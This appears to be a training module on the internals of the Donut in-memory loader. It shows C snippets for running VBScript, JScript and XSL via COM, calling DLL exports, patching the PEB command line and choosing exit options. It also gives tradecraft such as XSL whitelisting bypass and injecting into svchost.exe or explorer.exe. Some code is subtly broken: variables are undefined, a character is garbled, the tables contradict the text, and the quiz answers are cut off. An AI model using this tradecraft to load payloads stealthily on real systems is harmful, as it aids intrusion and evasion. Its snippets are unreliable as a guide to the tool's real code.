Module 7: Advanced Payload Types
VBScript/JScript/XSL execution via COM, native DLL export calling with arguments, PE command-line injection, and exit option strategies.
Module Objective
Understand how Donut executes non-PE payload types (VBScript, JScript, XSL) using COM scripting interfaces, how it handles native DLL payloads with custom export functions and arguments, how command-line arguments are injected for native EXEs, and the operational implications of different exit options.
1. Script Execution via COM
Beyond PE and .NET payloads, Donut can execute VBScript, JScript, and XSL files. This is implemented in inmem_script.c using Windows COM scripting interfaces. The key insight is that Windows provides COM objects for script execution that can be instantiated from unmanaged code.
Script Type Dispatch
DONUT_MODULE_VBS
COM scripting engine
DONUT_MODULE_JS
COM scripting engine
DONUT_MODULE_XSL
XML/XSL processor
2. VBScript and JScript Execution
For VBS and JS payloads, Donut creates an instance of the Windows Script Host engine via COM. The script text (from the decrypted DONUT_MODULE) is fed directly to the engine without writing to disk:
C// inmem_script.c - VBScript/JScript execution via IActiveScript
BOOL RunScript(PDONUT_INSTANCE inst, PDONUT_MODULE mod, LPVOID payload) {
// Initialize COM
inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Choose the scripting engine CLSID based on module type
CLSID *engine_clsid;
if (mod->type == DONUT_MODULE_VBS) {
engine_clsid = &CLSID_VBScript; // {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
} else if (mod->type == DONUT_MODULE_JS) {
engine_clsid = &CLSID_JScript; // {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
}
// Create the scripting engine
IActiveScript *engine = NULL;
inst->api.CoCreateInstance(
engine_clsid,
NULL,
CLSCTX_INPROC_SERVER,
&IID_IActiveScript,
(void**)&engine
);
// Get the IActiveScriptParse interface
IActiveScriptParse *parser = NULL;
engine->lpVtbl->QueryInterface(
engine, &IID_IActiveScriptParse, (void**)&parser
);
// Initialize the parser
parser->lpVtbl->InitNew(parser);
// Create and set a script site (IActiveScriptSite implementation)
// Donut implements a minimal script site for hosting
IActiveScriptSite *site = CreateScriptSite(inst);
engine->lpVtbl->SetScriptSite(engine, site);
// Convert the script text to a wide string
OLECHAR *script_text = ConvertToWideString(payload, mod->len);
// Parse and execute the script
parser->lpVtbl->ParseScriptText(
parser,
script_text, // The script source code
NULL, // Item name
NULL, // Context
NULL, // Delimiter
0, // Source context cookie
0, // Starting line
SCRIPTTEXT_ISEXPRESSION,
NULL, // Result variant
NULL // Exception info
);
// Set engine state to CONNECTED to execute
engine->lpVtbl->SetScriptState(engine, SCRIPTSTATE_CONNECTED);
return TRUE;
}
IActiveScriptSite
The scripting engine requires an IActiveScriptSite implementation that handles callbacks like GetItemInfo, OnScriptError, and OnStateChange. Donut implements a minimal version of this COM interface in its PIC loader, providing just enough functionality for the script to execute. Most methods return E_NOTIMPL or S_OK.
3. XSL File Execution
XSL files are processed differently. Donut uses the MSXML COM objects to load the XSL as a stylesheet and apply it to a dummy XML document. The XSL can contain embedded VBScript or JScript via <msxsl:script> blocks:
C// XSL execution via IXMLDOMDocument and IXSLProcessor
BOOL RunXSL(PDONUT_INSTANCE inst, PDONUT_MODULE mod, LPVOID payload) {
inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Create IXMLDOMDocument2 for the XSL stylesheet
IXMLDOMDocument2 *xsl = NULL;
inst->api.CoCreateInstance(
&CLSID_DOMDocument30,
NULL,
CLSCTX_INPROC_SERVER,
&IID_IXMLDOMDocument2,
(void**)&xsl
);
// Load the XSL content from the decrypted module
VARIANT_BOOL success;
BSTR xsl_text = inst->api.SysAllocString(wide_payload);
xsl->lpVtbl->loadXML(xsl, xsl_text, &success);
// Create a dummy XML document to transform
IXMLDOMDocument2 *xml = NULL;
inst->api.CoCreateInstance(
&CLSID_DOMDocument30, NULL, CLSCTX_INPROC_SERVER,
&IID_IXMLDOMDocument2, (void**)&xml
);
BSTR dummy_xml = inst->api.SysAllocString(L"<?xml version=\"1.0\"?><x/>");
xml->lpVtbl->loadXML(xml, dummy_xml, &success);
// Create the XSL template and processor
IXSLTemplate *tmpl = NULL;
inst->api.CoCreateInstance(
&CLSID_XSLTemplate, NULL, CLSCTX_INPROC_SERVER,
&IID_IXSLTemplate, (void**)&tmpl
);
tmpl->lpVtbl->putref_stylesheet(tmpl, (IXMLDOMNode*)xsl);
IXSLProcessor *proc = NULL;
tmpl->lpVtbl->createProcessor(tmpl, &proc);
proc->lpVtbl->put_input(proc, var_xml);
// Execute the transformation (runs embedded scripts)
VARIANT_BOOL status;
proc->lpVtbl->transform(proc, &status);
return TRUE;
}
XSL as an Attack Vector
XSL files can contain embedded script code in <msxsl:script> elements. When the XSL processor transforms a document, these scripts execute. This technique (sometimes called XSL script processing) was historically used for application whitelisting bypass because msxsl.exe was a Microsoft-signed binary. Donut embeds the same execution logic directly in shellcode.
4. Native DLL with Custom Exports
For native (unmanaged) DLLs, Donut does more than just call DllMain. It can invoke a specific exported function with user-supplied arguments:
C// inmem_pe.c - After mapping the DLL and calling DllMain...
// If a function name was specified in DONUT_MODULE
if (mod->function[0] != 0) {
// Walk the DLL's export table to find the named function
PIMAGE_EXPORT_DIRECTORY exp = GetExportDirectory(base);
FARPROC func = FindExportByName(base, exp, mod->function);
if (func != NULL) {
// Call the export with the parameter string
typedef VOID (WINAPI *ExportFunc)(LPSTR);
((ExportFunc)func)(mod->param);
}
}
// Example usage:
// donut -f payload.dll -m RunPayload -p "arg1 arg2"
// This calls: payload.dll!RunPayload("arg1 arg2")
This capability is essential for DLLs that expose specific functionality through exports. For example, a DLL might export a RunPayload function that accepts a configuration string.
5. Native EXE with Command-Line Arguments
When running a native EXE payload, Donut needs to provide command-line arguments. Since the EXE is loaded in-memory (not spawned as a new process), there is no real command line. Donut handles this by patching the Process Environment Block:
C// For native EXEs that need command-line arguments,
// Donut modifies the PEB's ProcessParameters to inject
// the user-supplied arguments
VOID SetCommandLine(PDONUT_INSTANCE inst, PDONUT_MODULE mod) {
// Access the PEB
PPEB peb = GetPEB();
// Get the RTL_USER_PROCESS_PARAMETERS
PRTL_USER_PROCESS_PARAMETERS params = peb->ProcessParameters;
// Build the new command line: "payload.exe arg1 arg2"
WCHAR cmdline[DONUT_MAX_NAME * 2];
wsprintfW(cmdline, L"payload.exe %S", mod->param);
// Overwrite the CommandLine UNICODE_STRING
RtlInitUnicodeString(¶ms->CommandLine, cmdline);
}
// Now when the EXE calls GetCommandLineW() or reads __argc/__argv,
// it receives the injected arguments
Alternative: Patching __argc/__argv
Some EXEs read arguments through the C runtime’s __argc and __argv globals rather than GetCommandLine. Since these are initialized by the CRT startup code (which Donut’s PE loader calls via the entry point), the PEB approach works because the CRT reads from GetCommandLineW during initialization.
6. Thread Execution Mode
Donut can optionally execute the payload in a new thread rather than in the current thread. This is controlled by the thread field in DONUT_MODULE:
C// Thread execution wrapper
if (mod->thread) {
// Create a new thread for the payload
HANDLE hThread = inst->api.CreateThread(
NULL, // Default security
0, // Default stack size
PayloadThread, // Thread function (runs the payload)
inst, // Pass instance as parameter
0, // Run immediately
NULL // Don't need thread ID
);
// Wait for the payload thread to complete
inst->api.WaitForSingleObject(hThread, INFINITE);
inst->api.CloseHandle(hThread);
} else {
// Execute directly in the current thread
ExecutePayload(inst, mod, payload);
}
| Mode | Use Case | Trade-off |
|---|---|---|
| Same thread | Simple injection, callback-based execution | Payload crash kills the injection thread |
| New thread | Long-running payloads, implants | New thread creation is potentially detectable |
7. Exit Options in Detail
The exit behavior after payload execution has significant operational implications:
DONUT_OPT_EXIT_THREAD
Calls ExitThread(0). Only the current thread terminates. The host process continues running normally. Best for: injection into long-lived processes where you want the host to survive. Risk: if the payload leaks handles or resources, they persist in the host process.
DONUT_OPT_EXIT_PROCESS
Calls ExitProcess(0). The entire host process terminates. Best for: sacrificial processes (e.g., you spawned svchost.exe specifically to inject into). Risk: if you accidentally inject into a critical process, you kill it.
DONUT_OPT_EXIT_BLOCK
The loader simply returns. Control goes back to whoever called the shellcode. Best for: when you call Donut shellcode from your own code (e.g., a custom loader) and want execution to continue. Risk: the caller must handle cleanup.
8. Payload Type Summary
| Type | Handler | COM Required | CLR Required | Arguments |
|---|---|---|---|---|
| Native EXE | RunPE() | No | No | Via PEB CommandLine |
| Native DLL | RunPE() | No | No | Via export function param |
| .NET EXE | RunDotNET() | Yes (CLR is COM) | Yes | Via SAFEARRAY of strings |
| .NET DLL | RunDotNET() | Yes | Yes | Via InvokeMember_3 |
| VBScript | RunScript() | Yes | No | Embedded in script |
| JScript | RunScript() | Yes | No | Embedded in script |
| XSL | RunScript() | Yes | No | Embedded in XSL |
Knowledge Check
1. How does Donut execute VBScript payloads in-memory?
CoCreateInstance with the VBScript CLSID, obtains an IActiveScriptParse interface, and passes the script text directly to ParseScriptText. No files are written to disk, and no external processes are spawned.2. What is the recommended exit option when injecting into a long-lived host process?
ExitThread(0), terminating only the current thread while allowing the host process to continue running normally. This is safest for injection into processes like explorer.exe or svchost.exe that should not be killed.3. How does Donut provide command-line arguments to native EXE payloads loaded in-memory?
ProcessParameters->CommandLine UNICODE_STRING before calling the entry point. When the EXE’s CRT startup calls GetCommandLineW(), it reads the injected arguments from the PEB.